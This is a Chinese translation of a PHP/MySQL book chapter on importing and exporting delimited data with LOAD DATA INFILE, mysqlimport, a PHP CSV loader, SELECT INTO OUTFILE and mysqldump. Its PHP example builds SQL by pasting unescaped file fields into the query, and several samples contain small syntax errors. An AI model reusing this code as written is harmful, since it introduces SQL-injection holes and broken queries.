像数据库表和电子表格这样的信息结构共享一个相似的概念组织。这些结构通常被概念化为由行和列组成,每一行和列又进一步细分为单元。因此,只要制定一套规则来确定如何识别列、行和单元格,就可以在格式之间进行转换。最重要的规则之一是建立一个字符或字符序列,用作分隔符,将一行中的每个单元格以及每一行与下一行分开。例如,sales表可能以一种格式分隔,用逗号分隔每个字段,用换行符分隔每个行:

12309,45633,2010-12-19 01:13:42,22.04,5.67,27.71\n
12310,942,2010-12-19 01:15:12,11.50,3.40,14.90\n
12311,7879,2010-12-19 01:15:22,95.99,15.00,110.99\n
12312,55521,2010-12-19 01:30:45,10.75,3.00,13.75\n

当然,在文本编辑器中查看文件时,换行符是不可见的;我在这里展示它只是为了说明。许多数据导入和导出实用程序,包括 MySQL 的,都围绕着数据定界的概念。

导入数据

在本节中,您将了解 MySQL 提供的两个内置工具,用于将分隔数据集导入到表中:LOAD DATA INFILEmysqlimport

小费

当您需要创建从cron作业执行的批量导入时,您可以考虑使用mysqlimport客户端来代替LOAD DATA INFILE

使用加载文件中的数据导入数据

L OAD DATA INFILE语句是一个执行起来很像查询的命令,通常从mysql客户端执行,用于将带分隔符的文本文件导入到 MySQL 表中。其通用语法如下:

LOAD DATA [LOW_PRIORITY | CONCURRENT] [LOCAL] INFILE 'file_name'
[REPLACE | IGNORE]
INTO TABLE table_name
[CHARACTER SET charset_name]
[FIELDS
   [TERMINATED BY 'character'] [[OPTIONALLY] ENCLOSED BY 'character']
   [ESCAPED BY 'character']
]
[LINES
   [STARTING BY 'character'] [TERMINATED BY 'character']
]
[IGNORE number lines]
[(column_name, ...)]
[SET column_name = expression, ...)]

当然,这是迄今为止最长的 MySQL 查询命令之一,不是吗?然而,正是这种广泛的选择使它如此强大。接下来介绍每个选项:

  • LOW PRIORITY:该选项强制命令延迟执行,直到没有其他客户端从表中读取数据。

  • CONCURRENT:与 MyISAM 表结合使用,该选项允许其他线程在命令执行时从目标表中检索数据。

  • LOCAL:该选项声明目标 infile 必须驻留在客户端。如果省略,目标 infile 必须驻留在托管 MySQL 数据库的同一服务器上。使用LOCAL时,根据当前位置,文件的路径可以是绝对路径,也可以是相对路径。省略时,路径可以是绝对的;本地;或者,如果不存在,假定驻留在 MySQL 的指定数据库目录或当前选择的数据库目录中。

  • REPLACE:该选项导致用拥有相同主键或唯一键的新行替换现有行。

  • IGNORE:包含此选项与REPLACE效果相反。具有与现有表行匹配的主键或唯一键的读入行将被忽略。

  • CHARACTER SET charset_name : MySQL 将假定输入文件包含与分配给系统变量character_set_database的字符集相匹配的字符。如果字符与此设置不匹配,请使用此选项来标识文件的字符集。

  • FIELDS TERMINATED BY ' character ':该选项表示字段将如何终止。因此,FIELDS TERMINATED BY ','意味着每个字段将以逗号结尾,就像这样:

12312,55521,2010-12-19 01:30:45,10.75,3.00,13.75

最后一个字段不以逗号结尾,因为它不是必需的,因为通常这个选项与LINES TERMINATED BY 'character'选项一起使用。默认情况下,遇到由这个选项指定的字符还会对文件中的最后一个字段进行定界,并向命令发出信号,表明新行(行)即将开始。

  • [OPTIONALLY] ENCLOSED BY ' character ':该选项表示每个字段将被一个特定的字符包围。这并没有消除对终止字符的需要。修改前面的例子,使用选项FIELDS TERMINATED BY ',' ENCLOSED BY '"'意味着每个字段用一对双引号括起来,并用逗号分隔,如下所示:
"12312","55521","2010-12-19 01:30:45","10.75","3.00","13.75"

可选的OPTIONALLY标志表示字符串只需要用指定的字符模式括起来。只包含整数、浮点数等的字段不需要括起来。

  • ESCAPED BY ' character ':如果ENCLOSED BY选项表示的字符出现在任何字段中,必须对其进行转义,以确保该字段不会被错误读入。然而,这个转义字符必须由ESCAPED BY定义,这样它才能被命令识别。例如,FIELDS TERMINATED BY ',' ENCLOSED BY "' ESCAPED BY '\\'将允许正确解析以下字段:

    'jason@example.com','Excellent product! I\'ll return soon!','2010-12-20'
    
    
  • 注意,因为反斜杠被 MySQL 视为特殊字符,所以您需要通过在ESCAPED BY子句中以另一个反斜杠作为前缀来转义它的任何实例。

  • LINES:以下两个选项分别与线路的开始和终止方式有关:

    • STARTING BY ' character ':该选项定义用于表示行首的字符,从而表示新的表格行。与下一个选项相比,通常会跳过此选项的使用。

    • TERMINATED BY ' character ':该选项定义了表示一行结束的字符,从而表示表格行的结束。虽然它可以是任何东西,但是这个字符通常是换行符(\n)。在许多基于 Windows 的文件中,换行符通常表示为\r\n

  • IGNORE number LINES:该选项告诉命令忽略第一个x行。当目标文件包含头文件信息时,这很有用。

  • [(SET column_name = expression ,...)]:如果目标文件中的字段数量与目标表格中的字段数量不匹配,您需要准确指定文件数据要填充哪些列。例如,如果包含销售信息的目标文件只包含四个字段(idclient_idorder_timetotal_cost),而不是前面示例中使用的六个字段(idclient_idorder_timesub_totalshipping_costtotal_cost),但目标表中所有六个字段都保留,则该命令必须这样编写:

LOAD DATA INFILE "sales.txt"
INTO TABLE sales (id, client_id, order_time, total_cost);

请记住,如果在表模式中将一个或几个缺失的列指定为NOT NULL,这种尝试可能会失败。在这种情况下,您需要为缺失的列指定DEFAULT值,或者进一步将数据文件处理成可接受的格式。

您还可以将列设置为变量,如当前时间戳。例如,假设 sales 表被修改为包含一个名为added_to_table的附加列:

LOAD DATA INFILE "sales.txt"
INTO TABLE sales (id, client_id, order_time, total_cost)
SET added_to_table = CURRENT_TIMESTAMP;

小费

如果您想在读入目标文件并插入表格时重新排列目标文件中字段的顺序,您可以通过[(column_name, ...)]选项重新排列顺序。

一个简单的数据导入示例

这个例子基于正在进行的销售主题。假设您想要导入一个名为productreviews.txt的文件,该文件包含以下信息:

'43','jason@example.com','I love the new Website!'
'44','areader@example.com','Why don\'t you sell shoes?'
'45','anotherreader@example.com','The search engine works great!'

标题恰当的目标表 product_reviews 由三个字段组成,它们的顺序(comment_id、email、comment)与在productreviews.txt中找到的信息相同:

LOAD DATA INFILE 'productreviews.txt' INTO TABLE product_reviews FIELDS
   TERMINATED BY ',' ENCLOSED BY '\" ESCAPED BY '\\'
    LINES TERMINATED BY '\n';

一旦导入完成,product_reviews表将如下所示:

+------------+---------------------------+---------------------------------+
| comment_id | email                     | comment                        |
+------------+---------------------------+--------------------------------+
|        43  | jason@example.com         | I love the new Website!        |
|        44  | areader@example.com       | Why don't you sell shoes?      |
|        45  | anotherreader@example.com | The search engine works great! |
+------------+---------------------------+--------------------------------+

选择目标数据库

您可能已经注意到,前面的示例引用了目标表,但是没有明确定义目标数据库。原因是 LOAD DATA INFILE 假设目标表位于当前选择的数据库中。或者,您可以通过在目标数据库前面加上数据库名称来指定目标数据库,如下所示:

LOAD DATA INFILE 'productreviews.txt' into table corporate.product_reviews;

如果在选择数据库之前执行LOAD DATA INFILE,或者没有在查询语法中明确指定数据库,将会出现错误。

安全和加载数据文件

使用 LOCAL 关键字,可以加载驻留在客户机上的文件。这个关键字将导致 MySQL 从客户端计算机检索文件。因为恶意管理员或用户可能通过操纵目标文件路径来利用此功能,所以在使用此功能时,您应该记住一些安全问题:

  • 如果不使用LOCAL,执行用户必须拥有FILE权限。这是由于允许用户读取驻留在服务器上的文件的潜在影响,该文件必须驻留在数据库目录中或者是全球可读的。

  • 要禁用LOAD DATA LOCAL INFILE,使用--local-infile=0选项启动 MySQL 守护进程。您可以稍后在 MySQL 客户端通过传递--local-infile=1选项来启用它。

使用 mysqlimport 导入数据

mysqlimport客户端只是LOAD DATA INFILE语句的命令行版本。其一般语法如下:

mysqlimport [options] database textfile1 [textfile2 ... textfileN]

有用的选项

在回顾任何示例之前,花点时间回顾一下许多最常用的mysqlimport选项:

  • --columns , -c:当目标文件中的字段数量或顺序与表格中的不匹配时,应使用此选项。例如,假设您正在插入以下目标文件,该文件将字段排序为idorder_idsub_totalshipping_costtotal_costorder_time:

    45633,12309,22.04,5.67,27.71,2010-12-19 01:13:42
    942,12310,11.50,3.40,14.90,2010-12-19 01:15:12
    7879,12311,95.99,15.00,110.99,2010-12-19 01:15:22
    
    
  • 然而,本章开头给出的sales表按以下顺序列出了字段:idclient_idorder_timesub_totalshipping_costtotal_cost。通过包含此选项,您可以在解析过程中重新排列输入字段,以便将数据插入到正确的位置:

    --columns=id,order_id,sub_total,shipping_cost,total_cost,and order_time
    
    
  • --compress , -C:包含此选项压缩客户端和服务器之间流动的数据,假设两者都支持压缩。如果加载的目标文件与数据库不在同一个服务器上,此选项最有效。

  • --debug , -# :该选项用于在调试时创建跟踪文件。

  • --delete , -d:该选项在导入目标文件的数据之前,删除目标表格的内容。

  • --fields-terminated-by= , --fields-enclosed-by= , --fields-optionally-enclosed-by= , --fields-escaped-by= :这四个选项决定了mysqlimport’在解析过程中如何识别字段和行的行为。有关完整的介绍,请参阅本章前面的“使用 LOAD DATA INFILE 导入数据”一节。

  • --force , -f:包含此选项会导致mysqlimport继续执行,即使执行过程中出现错误。

  • --help , -? :包含此选项会生成一个简短的帮助文件和本节讨论的选项的综合列表。

  • --host , -h:该选项指定目标数据库的服务器位置。默认值为 localhost。

  • --ignore , -i:该选项使mysqlimport忽略目标文件中与表中已有行共享相同主键或唯一键的任何行。

  • --ignore-lines=n:该选项告诉mysqlimport忽略目标文件的第一个n行。当目标文件包含应该忽略的头文件信息时,这很有用。

  • --lines-terminated-by= :该选项决定了mysqlimport将如何识别文件中的每一个单独的行。有关完整的介绍,请参阅本章前面的“使用 LOAD DATA INFILE 导入数据”一节。

  • --lock-tables , -l:该选项在mysqlimport执行期间写锁定目标数据库中的所有表。

  • --local , -L:该选项指定目标文件位于客户端。默认情况下,假设该文件位于数据库服务器上;因此,如果您正在远程执行这个命令,并且还没有将文件上传到服务器,那么您需要包含这个选项。

  • --low-priority:该选项延迟mysqlimport的执行,直到没有其他客户端从表中读取。

  • --password=your_password-pyour_password:该选项用于指定您的认证凭证的密码部分。如果此选项的your_password部分被省略,您将被提示输入密码。

  • --port , -P:如果目标 MySQL 服务器运行在非标准端口上(MySQL 的标准端口是 3306),需要用这个选项指定那个端口值。

  • --replace , -r:该选项使mysqlimport覆盖目标文件中与表中已有行共享相同主键或唯一键的任何行。

  • --silent , -s:该选项告诉mysqlimport只输出错误信息。

  • --socket , -S:如果在 MySQL 服务器启动时声明了一个非默认的 socket 文件,那么应该包含这个选项。

  • --ssl:该选项指定连接应该使用 SSL。这将与此处未列出的其他几个选项结合使用。参见第二十九章了解更多关于 SSL 和用于配置该功能的各种选项的信息。

  • --user , -u:默认情况下,mysqlimport将执行系统用户的名称/主机组合与mysql权限表进行比较,确保执行用户拥有足够的权限来执行所请求的操作。因为在另一个用户的伪装下执行这样的过程通常很有用,所以您可以用这个选项指定凭证的“用户”组件。

  • --verbose , -v:该选项使mysqlimport输出大量与其行为相关的潜在有用信息。

  • --version , -V:该选项使mysqlimport输出版本信息并退出。

考虑到这些选项中的一些,下面的mysqlimport示例说明了一个场景,该场景涉及驻留在公司会计工作站上的库存审计信息的更新:

%>mysqlimport -h intranet.example.com -u accounting -p --replace \
> --compress --local company c:\audit\inventory.txt

该命令将本地文本文件(c:\audit\inventory.txt)中的数据压缩并传输到位于company数据库中的表格inventory。注意,mysqlimport从每个文本文件中去掉扩展名,并使用结果名称作为导入文本文件内容的表。

编写 mysqlimport 脚本

几年前,我参与了一家制药公司的企业网站的创建,该网站允许买家浏览大约 10,000 种产品的描述和定价信息。这些信息保存在大型机上,数据定期同步到 web 服务器上的 MySQL 数据库。为了实现这一点,在机器之间创建了一个单向信任,以及两个 shell 脚本。第一个脚本位于大型机上,负责从大型机上转储数据(以分隔格式),然后通过 sftp 将该数据文件推送到 web 服务器。第二个脚本位于 web 服务器上,负责执行mysqlimport,将这个文件加载到 MySQL 数据库。这个脚本创建起来很简单,如下所示:

#!/bin/sh
/usr/local/mysql/bin/mysqlimport --delete --silent \
--fields-terminated-by='\t' --lines-terminated-by='\n' \
products /ftp/uploads/products.txt

为了将所涉及的逻辑保持在最低限度,每天晚上都要对整个大型机数据库进行完全转储,并且在开始导入之前创建一个新的空 MySQL 表。该表可能有不同的名称,但定义相同。当导入完成并通过验证后,旧表被删除,新表在单个事务中被重命名。这确保了添加所有新产品,更新现有产品信息以反映变化,并且删除任何被删除的产品。为了防止通过命令行传递凭证,创建了一个名为productupdate的系统用户,并在用户的主目录中放置了一个my.cnf文件,如下所示:

[client]
host=localhost
user=productupdate
password=secret

该文件的权限和所有权被更改,将所有者设置为mysql,只允许mysql用户读取该文件。最后一步是向productupdate用户的crontab添加必要的信息,?? 会在每晚凌晨 2 点执行脚本。系统从第一天开始就完美运行。

用 PHP 加载表格数据

出于安全原因,ISP 通常不允许使用LOAD DATA INFILE,以及 MySQL 的许多打包客户端,如 mysqlimport。然而,这样的限制并不一定意味着您在导入数据时运气不好;您可以使用 PHP 脚本模仿LOAD DATA INFILEmysqlimport功能。下面的脚本使用 PHP 的文件处理功能和一个名为fgetcsv()的便捷函数来打开和解析本章开头的分隔销售数据:

<?php
    // Connect to the MySQL server and select the corporate database
    $mysqli = new mysqli("localhost","someuser","secret","corporate");

    // Open and parse the sales.csv file
    $fh = fopen("sales.csv", "r");

    while ($fields = fgetcsv($fh, 1000, ","))
    {
        $id = $ fields[0];
        $client_id = $fields[1];
        $order_time = $fields[2];
        $sub_total = $fields[3];
        $shipping_cost = $fields[4];
        $total_cost = $fields[5];

        // Insert the data into the sales table
        $query = "INSERT INTO sales SET id='$id',
            client_id='$client_id', order_time='$order_time',
            sub_total='$sub_total', shipping_cost='$shipping_cost',
            total_cost='$total_cost'";

        $result = $mysqli->query($query);
    }

    fclose($fh);
    $mysqli->close();
?>

请记住,在完成插入特别大的数据集之前,此类脚本的执行可能会超时。如果您认为可能是这种情况,请在脚本的开头设置 PHP 的max_execution_time配置指令。或者,考虑使用 PHP、Perl 或其他解决方案从命令行完成这项工作。PHP-CLI 版本默认max_execution_time为 0,因此没有超时。来自文件的输入应被视为任何其他输入,并在使用前进行清理。

下一节将切换数据流的方向,解释如何将数据从 MySQL 导出到其他格式。

导出数据

随着您的计算环境变得越来越复杂,您可能需要在各种不同的系统和应用之间共享数据。有时你无法从一个中心来源中挑选这些信息;相反,它必须不断地从数据库中检索,为转换做准备,并最终转换成目标可识别的格式。本节向您展示如何使用 SQL 语句SELECT INTO OUTFILE轻松导出 MySQL 数据。

注意

另一个常用的数据导出工具是mysqldump.,虽然它的官方目的是用于数据备份,但它的第二个目的是作为一个创建数据导出文件的伟大工具。

选择到输出文件

SQL 语句实际上是查询的变体。当您希望将查询输出定向到文本文件时,可以使用它。然后,可以通过电子表格应用打开该文件,或者将其导入另一个数据库,如 Microsoft Access、Oracle 或任何其他支持划界的软件。其一般语法格式如下:

SELECT [SELECT OPTIONS] INTO OUTFILE filename
  EXPORT_OPTIONS
  FROM tables [ADDITIONAL SELECT OPTIONS]

以下列表总结了关键选项:

  • OUTFILE:选择该选项会将查询结果输出到文本文件中。查询结果的格式取决于导出选项的设置方式。这些选项介绍如下。

  • DUMPFILE:选择这个选项而不是OUTFILE会导致查询结果被写成单行,省略列或行的终止。这在导出图形或 Word 文件等二进制数据时非常有用。请记住,在导出二进制文件时不能选择 OUTFILE,否则文件将会损坏。另外,请注意,转储文件查询必须以单行为目标;组合两个二进制文件的输出没有任何意义,如果您尝试这样做,将会返回一个错误。具体来说,返回的错误是,“结果由多行组成。”

  • EXPORT OPTIONS:导出选项决定了如何在输出文件中分隔表格字段和行。它们的语法和规则与本章前面介绍的LOAD DATA INFILE中使用的完全匹配。与其重复这些信息,请参阅前面的“用加载数据导入文件导入数据”一节以获得完整的论文。

使用技巧

关于SELECT INTO OUTFILE的使用,有几个事项值得注意:

  • 如果未指定目标文件路径,则使用当前数据库的目录。

  • 执行用户必须拥有目标表的选择权限(SELECT_PRIV)。此外,用户必须拥有文件权限,因为该查询将导致文件被写入服务器。

  • 如果指定了目标文件路径,MySQL 守护进程所有者必须拥有足够的权限来写入目标目录。

  • 这个过程使目标文件完全可读和可写,这是一个意想不到的副作用。因此,如果您正在编写备份过程的脚本,您可能希望在查询完成后以编程方式更改文件权限。

  • 如果目标文本文件已经存在,查询将失败。

  • 如果目标文本文件是转储文件,则不能包含导出选项。

一个简单的数据导出示例

假设您要将 2017 年 12 月的销售数据导出到由换行符分隔的行组成的制表符分隔的文本文件中:

SELECT * INTO OUTFILE "/backup/corporate/sales/1217.txt"
  FIELDS TERMINATED BY '\t' LINES TERMINATED BY '\n'
  FROM corporate.sales
  WHERE MONTH(order_time) = '12' AND YEAR(order_time) = '2017';

这里使用的目录分隔符是 Linux/Unix stile。在基于 Windows 的系统上,应该使用反斜杠。此外,基于 Windows 的系统上的行结尾是\r\n,而不是上面示例中使用的\n。假设执行用户拥有在corporate数据库中找到的sales表的SELECT特权,并且 MySQL 守护进程所有者可以写入/backup/corporate/sales/目录,那么将创建文件1217.txt,其中写入以下数据:

12309  45633  2010-12-19  01:13:42  22.04  5.67    27.71
12310  942    2010-12-19  01:15:12  11.50  3.40    14.90
12311  7879   2010-12-19  01:15:22  95.99  15.00   110.99
12312  55521  2010-12-19  01:30:45  10.75  3.00    13.75

请注意,每列之间的间距不是由空格组成的,而是由制表符(\t)引起的。此外,每行的结尾都有一个不可见的换行符(\n)。

将 MySQL 数据导出到 Microsoft Excel

当然,将数据输出到文本文件本身除了将数据转换成不同的格式之外,并不能完成任何事情。那么你如何处理这些数据呢?例如,假设营销部门的员工想要在最近的假日销售活动和最近的销售增长之间进行比较。为此,他们需要 12 月份的销售数据。为了筛选数据,他们希望以 Excel 格式提供。因为 Excel 可以将带分隔符的文本文件转换为电子表格格式,所以您可以执行以下查询:

SELECT * INTO OUTFILE "/analysis/sales/1217.xls"
   FIELDS TERMINATED BY '\t', LINES TERMINATED BY '\n' FROM corporate.sales
   WHERE MONTH(order_time) = '12' YEAR(order_time) = '2017';

请注意,创建的文件是一个制表符分隔的值文件(TSV)。可以使用 tsv 或 xls 作为文件扩展名,Excel 可以同时打开这两种文件。然后,通过位于公司内部网的预定义文件夹检索该文件,并在 Microsoft Excel 中打开。

如第二十四章所述。MySQL 附带了两个用于导出数据的客户端。这些是mysqldumpmysqlhotcopy。Mysql dump 是一个数据库备份应用,可以将整个数据库转储到一个文件中。该文件的内容将是一系列 SQL 命令,可用于重新创建转储时的数据库。使用mysqldump命令的语法如下:

$ mysqldump -u <user> -p <database? >database.sql

或者,您可能想使用mysqlhotcopy命令。它只支持 MyISAM 和归档表,其工作方式是将表刷新到磁盘,并在文件系统中执行文件的复制。这是一种非常快速的复制表或数据库的方法,但是它只能在文件所在的服务器上完成。相比之下,mysqldump 可用于创建远程数据库的数据库转储。mysqlhotcopy 的语法是:

$ mysqlhotcopy db_name [/path/to/new_directory]

摘要

MySQL 的数据导入和导出实用程序提供了强大的解决方案,可以将数据导入和导出 MySQL 数据库。有效地使用它们意味着维护噩梦和琐事之间的区别。

这本书到此结束。如果,或者说,当你需要更多关于 PHP 和 MySQL 的信息或帮助时,你会发现自己在寻找答案和例子。PHP 和 MySQL 在线文档都是技术文档和示例的重要来源。许多现代文本编辑器包括代码完成和对函数和参数的快速引用。找一个适合你的风格和预算的编辑器。他们中的许多人提供免费版本和基于支持和升级的订阅版本。

如果你有问题,我强烈推荐你当地的 PHP Meetup 或者其他用户组。它们存在于世界各地,提供了一个分享知识的好机会。像 GitHub ( https://github.com )和 Packagist ( https://packagist.org )这样的在线代码共享服务是搜索示例代码和共享您自己的代码的好地方。

祝你好运!

posted @ 2024-08-03 11:25  绝不原创的飞龙  阅读(0)  评论(0编辑  收藏  举报